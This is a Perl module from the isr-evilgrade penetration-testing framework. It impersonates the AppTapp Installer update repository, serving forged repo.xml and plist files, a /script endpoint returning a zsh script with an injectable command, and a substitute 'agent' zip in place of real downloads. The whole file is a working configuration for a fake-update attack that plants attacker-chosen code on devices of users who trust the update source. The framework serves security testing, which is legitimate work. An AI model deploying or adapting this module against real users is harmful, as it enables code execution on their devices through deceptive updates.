###############
# apptapp.pm
#
# Copyright 2010 Francisco Amato
#
# This file is part of isr-evilgrade, www.infobytesec.com .
#
# isr-evilgrade is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation version 2 of the License.
#
# isr-evilgrade is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with isr-evilgrade; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
#
# '''
##
package modules::apptapp;

use strict;
use Data::Dump qw(dump);

use isrcore::utils;

my $base = {
    'name'        => 'apptapp',
    'version'     => '1.0',
    'appver'      => '< 3.11',
    'author'      => ['Francisco Amato < famato +[AT]+ infobytesec.com>'],
    'description' => qq{},
    'vh'          => '(www.apptapp.com|repository.apptapp.com)',
    'request'     => [
        {   'req'    => '/trusted.plist',    #regex friendly
            'type'   => 'file',              #file|string|agent|install
            'method' => '',                  #any
            'bin'    => '',
            'string' => "",
            'parse'  => '1',
            'file' => './include/apptapp/trusted.plist'
        },
        {   'req'    => '/feature',          #regex friendly
            'type'   => 'file',              #file|string|agent|install
            'method' => '',                  #any
            'bin'    => '',
            'string' => "",
            'parse'  => '',
            'file' => './include/apptapp/feature.html'
        },
        {   'req'    => '/1.png',                   #regex friendly
            'type'   => 'file',                     #file|string|agent|install
            'method' => '',                         #any
            'bin'    => '1',
            'string' => "",
            'parse'  => '',
            'file'   => './include/apptapp/1.png'
        },
        {   'req'    => '/new.png',                 #regex friendly
            'type'   => 'file',                     #file|string|agent|install
            'method' => '',                         #any
            'bin'    => '1',
            'string' => "",
            'parse'  => '',
            'file'   => './include/apptapp/new.png'
        },
        {   'req'    => '/apptapp.png',             #regex friendly
            'type'   => 'file',                     #file|string|agent|install
            'method' => '',                         #any
            'bin'    => '1',
            'string' => "",
            'parse'  => '',
            'file' => './include/apptapp/apptapp.png'
        },
        {   'req'    => '/script',                  #regex friendly
            'type'   => 'string',                   #file|string|agent|install
            'method' => '',                         #any
            'bin'    => '0',
            'string' => "#!/bin/zsh\n" . "<%CMD%>",
            'parse'  => '1',
            'file'   => ''
        },

        {   'req'    => '(/repo.xml|/$)',           #regex friendly
            'type'   => 'file',                     #file|string|agent|install
            'method' => '',                         #any
            'bin'    => '',
            'string' => "",
            'parse'  => '1',
            'file'   => './include/apptapp/repo.xml'
        },

        {   'req'    => '.zip',                     #regex friendly
            'type'   => 'agent',                    #file|string|agent|install
            'method' => '',                         #any
            'bin'    => 1,
            'string' => '',
            'parse'  => '0',
            'file'   => ''
        },
    ],

    #Options
    'options' => {
        'agent' =>
            { 'val' => './agent/apptapp.zip', 'desc' => 'Agent to inject' },
        'enable' => {
            'val'  => 1,
            'desc' => 'Status'
        },
        'ver' => {
            'val'  => "3.17",
            'desc' => 'Application version'
        },
        'bundleIdentifier' => {
            'val'  => "com.apptapp.Installer",
            'desc' => 'Application to install'
        },
        'contact' => {
            'val'  => "famato\@infobytesec.com",
            'desc' => 'Email contact'
        },
        'description' => {
            'val'  => "The new AppTapp Installer.",
            'desc' => 'Application description'
        },
        'maintainer' => {
            'val'  => "Nullriver Software.",
            'desc' => 'Maintainer name'
        },
        'name' => {
            'val'  => "Installer",
            'desc' => 'Installer name'
        },
        'url' => {
            'val'  => "http://www.nullriver.com/",
            'desc' => 'Url'
        },
        'category' => {
            'val'  => "System",
            'desc' => 'Category name'
        },
        'cmd' => {
            'val'  => "/bin/date > /tmp/info\n",
            'desc' => 'Command to inject'
        },

    }
};

##########################################################################
# FUNCTION      new
# RECEIVES
# RETURNS
# EXPECTS
# DOES          class's constructor
sub new {
    my $class = shift;
    my $self = { 'Base' => $base, @_ };
    return bless $self, $class;
}
1;
